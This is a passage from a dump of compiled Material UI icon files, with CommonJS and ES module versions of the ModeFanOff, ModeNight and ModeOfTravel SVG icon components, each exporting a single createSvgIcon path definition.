    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.1 3.51c-.39.39-.39 1.02 0 1.41L5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.16 3.16c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'ModeFanOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.1 3.51c-.39.39-.39 1.02 0 1.41L5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.16 3.16c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L3.51 3.51a.996.996 0 0 0-1.41 0\"\n}), 'ModeFanOffRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.81 2.81 1.39 4.22 5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.87 3.87 1.41-1.41z\"\n}), 'ModeFanOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m16.34 8.36-2.29.82c-.18-.13-.38-.25-.58-.34.17-.83.63-1.58 1.36-2.06C16.85 5.44 16.18 2 13.39 2c-3.08 0-4.9 1.47-5.3 3.26L18.73 15.9c1.5.39 3.27-.51 3.27-2.51 0-4.39-3.01-6.23-5.66-5.03M2.81 2.81 1.39 4.22 5.27 8.1C3.77 7.7 2 8.61 2 10.61c0 4.4 3.01 6.24 5.66 5.03l2.29-.82c.18.13.38.25.58.34-.17.83-.63 1.58-1.36 2.06C7.15 18.56 7.82 22 10.61 22c3.08 0 4.9-1.47 5.3-3.26l3.87 3.87 1.41-1.41z\"\n}), 'ModeFanOffSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 10c-.08 0-.5.03-.5.6 0 2 .82 3.4 2 3.4.51 0 .89-.12 2.69-.86-.07-.2-.12-.41-.15-.62-1.48-.33-2.49-.89-3.39-2.16-.22-.31-.38-.36-.65-.36m5.5 9.5c0 .08.03.5.6.5 2 0 3.4-.82 3.4-2 0-.38-.07-.69-.42-1.59l-.97-.97c-.03.01-.06.02-.09.02-.33 1.48-.89 2.49-2.16 3.39-.31.22-.36.38-.36.65m3.65-14.35c.3-.22.35-.38.35-.65 0-.08-.03-.5-.6-.5-2 0-3.4.82-3.4 2 0 .38.07.69.42 1.59l1.05 1.05.02-.1c.33-1.48.88-2.5 2.16-3.39m5.2 8.5c.21.3.38.35.65.35.08 0 .5-.03.5-.6 0-2-.82-3.4-2-3.4-.51 0-.89.12-2.69.86.07.2.12.41.15.62 1.48.34 2.5.89 3.39 2.17\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 6c0-1.18 1.4-2 3.4-2 .57 0 .6.42.6.5 0 .27-.05.43-.35.65-1.27.9-1.83 1.91-2.16 3.39l-.02.1 7.25 7.25c.24.06.5.11.78.11 1.22 0 2.5-.95 2.5-2.6C22 9.91 20.11 8 18 8c-1.06 0-1.64.29-3.91 1.19-.19-.14-.4-.27-.62-.37.25-1.03.61-1.53 1.33-2.04.81-.57 1.2-1.34 1.2-2.28 0-1.22-.95-2.5-2.6-2.5-3.08 0-4.92 1.47-5.32 3.26l2.33 2.33C10.07 6.69 10 6.38 10 6m8 4c1.18 0 2 1.4 2 3.4 0 .57-.42.6-.5.6-.27 0-.43-.05-.65-.35-.9-1.27-1.91-1.83-3.39-2.16a3.12 3.12 0 0 0-.15-.62c1.8-.75 2.18-.87 2.69-.87M1.39 4.22l3.89 3.89C5.04 8.05 4.78 8 4.5 8 3.28 8 2 8.95 2 10.6 2 14.09 3.89 16 6 16c1.06 0 1.64-.29 3.91-1.19.19.14.4.27.62.37-.25 1.03-.61 1.53-1.33 2.04-.81.57-1.2 1.34-1.2 2.28 0 1.22.95 2.5 2.6 2.5 3.08 0 4.92-1.47 5.32-3.26l3.86 3.86 1.41-1.41L2.81 2.81zm11.13 11.24c.03 0 .06-.02.09-.02l.97.97c.35.9.42 1.21.42 1.59 0 1.18-1.4 2-3.4 2-.57 0-.6-.42-.6-.5 0-.27.05-.43.35-.65 1.28-.89 1.83-1.91 2.17-3.39m-3.98-2.94c.03.22.08.42.15.62-1.8.74-2.18.86-2.69.86-1.18 0-2-1.4-2-3.4 0-.57.42-.6.5-.6.27 0 .43.05.65.35.89 1.28 1.91 1.83 3.39 2.17\"\n}, \"1\")], 'ModeFanOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeFanOffTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 10c-.08 0-.5.03-.5.6 0 2 .82 3.4 2 3.4.51 0 .89-.12 2.69-.86-.07-.2-.12-.41-.15-.62-1.48-.33-2.49-.89-3.39-2.16-.22-.31-.38-.36-.65-.36m5.5 9.5c0 .08.03.5.6.5 2 0 3.4-.82 3.4-2 0-.38-.07-.69-.42-1.59l-.97-.97c-.03.01-.06.02-.09.02-.33 1.48-.89 2.49-2.16 3.39-.31.22-.36.38-.36.65m3.65-14.35c.3-.22.35-.38.35-.65 0-.08-.03-.5-.6-.5-2 0-3.4.82-3.4 2 0 .38.07.69.42 1.59l1.05 1.05.02-.1c.33-1.48.88-2.5 2.16-3.39m5.2 8.5c.21.3.38.35.65.35.08 0 .5-.03.5-.6 0-2-.82-3.4-2-3.4-.51 0-.89.12-2.69.86.07.2.12.41.15.62 1.48.34 2.5.89 3.39 2.17\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 6c0-1.18 1.4-2 3.4-2 .57 0 .6.42.6.5 0 .27-.05.43-.35.65-1.27.9-1.83 1.91-2.16 3.39l-.02.1 7.25 7.25c.24.06.5.11.78.11 1.22 0 2.5-.95 2.5-2.6C22 9.91 20.11 8 18 8c-1.06 0-1.64.29-3.91 1.19-.19-.14-.4-.27-.62-.37.25-1.03.61-1.53 1.33-2.04.81-.57 1.2-1.34 1.2-2.28 0-1.22-.95-2.5-2.6-2.5-3.08 0-4.92 1.47-5.32 3.26l2.33 2.33C10.07 6.69 10 6.38 10 6m8 4c1.18 0 2 1.4 2 3.4 0 .57-.42.6-.5.6-.27 0-.43-.05-.65-.35-.9-1.27-1.91-1.83-3.39-2.16a3.12 3.12 0 0 0-.15-.62c1.8-.75 2.18-.87 2.69-.87M1.39 4.22l3.89 3.89C5.04 8.05 4.78 8 4.5 8 3.28 8 2 8.95 2 10.6 2 14.09 3.89 16 6 16c1.06 0 1.64-.29 3.91-1.19.19.14.4.27.62.37-.25 1.03-.61 1.53-1.33 2.04-.81.57-1.2 1.34-1.2 2.28 0 1.22.95 2.5 2.6 2.5 3.08 0 4.92-1.47 5.32-3.26l3.86 3.86 1.41-1.41L2.81 2.81zm11.13 11.24c.03 0 .06-.02.09-.02l.97.97c.35.9.42 1.21.42 1.59 0 1.18-1.4 2-3.4 2-.57 0-.6-.42-.6-.5 0-.27.05-.43.35-.65 1.28-.89 1.83-1.91 2.17-3.39m-3.98-2.94c.03.22.08.42.15.62-1.8.74-2.18.86-2.69.86-1.18 0-2-1.4-2-3.4 0-.57.42-.6.5-.6.27 0 .43.05.65.35.89 1.28 1.91 1.83 3.39 2.17\"\n}, \"1\")], 'ModeFanOffTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNight.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNight.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNight');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07 1.91-2.16 3.01-4.98 3.01-7.93s-1.1-5.77-3.01-7.93C8.82 4.02 9.16 4 9.5 4m0-2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 4c4.41 0 8 3.59 8 8s-3.59 8-8 8c-.34 0-.68-.02-1.01-.07 1.91-2.16 3.01-4.98 3.01-7.93s-1.1-5.77-3.01-7.93C8.82 4.02 9.16 4 9.5 4m0-2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.93 2.3c-2.04-.5-4.02-.35-5.77.28-.72.26-.91 1.22-.31 1.71C8.08 6.12 9.5 8.89 9.5 12s-1.42 5.88-3.65 7.71c-.59.49-.42 1.45.31 1.7 1.04.38 2.17.59 3.34.59 6.05 0 10.85-5.38 9.87-11.6-.61-3.92-3.59-7.16-7.44-8.1\"\n}), 'ModeNightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.93 2.3c-2.04-.5-4.02-.35-5.77.28-.72.26-.91 1.22-.31 1.71C8.08 6.12 9.5 8.89 9.5 12s-1.42 5.88-3.65 7.71c-.59.49-.42 1.45.31 1.7 1.04.38 2.17.59 3.34.59 6.05 0 10.85-5.38 9.87-11.6-.61-3.92-3.59-7.16-7.44-8.1\"\n}), 'ModeNightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2\"\n}), 'ModeNightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 4c-.34 0-.68.02-1.01.07C10.4 6.23 11.5 9.05 11.5 12s-1.1 5.77-3.01 7.93c.33.05.67.07 1.01.07 4.41 0 8-3.59 8-8s-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2m0 18c-.34 0-.68-.02-1.01-.07 1.91-2.16 3.01-4.98 3.01-7.93s-1.1-5.77-3.01-7.93C8.82 4.02 9.16 4 9.5 4c4.41 0 8 3.59 8 8s-3.59 8-8 8\"\n}, \"1\")], 'ModeNightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeNightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 4c-.34 0-.68.02-1.01.07C10.4 6.23 11.5 9.05 11.5 12s-1.1 5.77-3.01 7.93c.33.05.67.07 1.01.07 4.41 0 8-3.59 8-8s-3.59-8-8-8\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 2c-1.82 0-3.53.5-5 1.35 2.99 1.73 5 4.95 5 8.65s-2.01 6.92-5 8.65c1.47.85 3.18 1.35 5 1.35 5.52 0 10-4.48 10-10S15.02 2 9.5 2m0 18c-.34 0-.68-.02-1.01-.07 1.91-2.16 3.01-4.98 3.01-7.93s-1.1-5.77-3.01-7.93C8.82 4.02 9.16 4 9.5 4c4.41 0 8 3.59 8 8s-3.59 8-8 8\"\n}, \"1\")], 'ModeNightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravel');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravel');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4.19 0 7.99 3.21 8 8.17l2.09-2.09L23.5 9.5 19 14l-4.5-4.5 1.41-1.41L18 10.17C17.99 6.55 15.34 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4.19 0 7.99 3.21 8 8.17l2.09-2.09L23.5 9.5 19 14l-4.5-4.5 1.41-1.41L18 10.17C17.99 6.55 15.34 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 10.2C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h2.32c.45 0 .67.54.35.85l-3.29 3.29c-.2.2-.51.2-.71 0l-3.29-3.29c-.31-.31-.09-.85.35-.85h2.26C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1-.78.82-1.67 1.66-2.65 2.52-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2\"\n}), 'ModeOfTravelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 10.2C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h2.32c.45 0 .67.54.35.85l-3.29 3.29c-.2.2-.51.2-.71 0l-3.29-3.29c-.31-.31-.09-.85.35-.85h2.26C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1-.78.82-1.67 1.66-2.65 2.52-.38.33-.95.33-1.33 0C6.45 17.12 4 13.38 4 10.2\"\n}), 'ModeOfTravelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.31 18.9c-.96 1-2.06 2.03-3.31 3.1-5.33-4.55-8-8.48-8-11.8C4 5.22 7.8 2 12 2c4 0 7.64 2.92 7.97 7.5h3.53L19 14l-4.5-4.5h3.47C17.65 6.24 15.13 4 12 4c-3.35 0-6 2.57-6 6.2 0 2.34 1.95 5.44 6 9.14q.96-.885 1.77-1.71c-.17-.34-.27-.72-.27-1.12 0-1.38 1.12-2.5 2.5-2.5s2.5 1.12 2.5 2.5S17.38 19 16 19c-.24 0-.47-.03-.69-.1\"\n}), 'ModeOfTravelTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ModeOfTravelTwoTone.mjs",
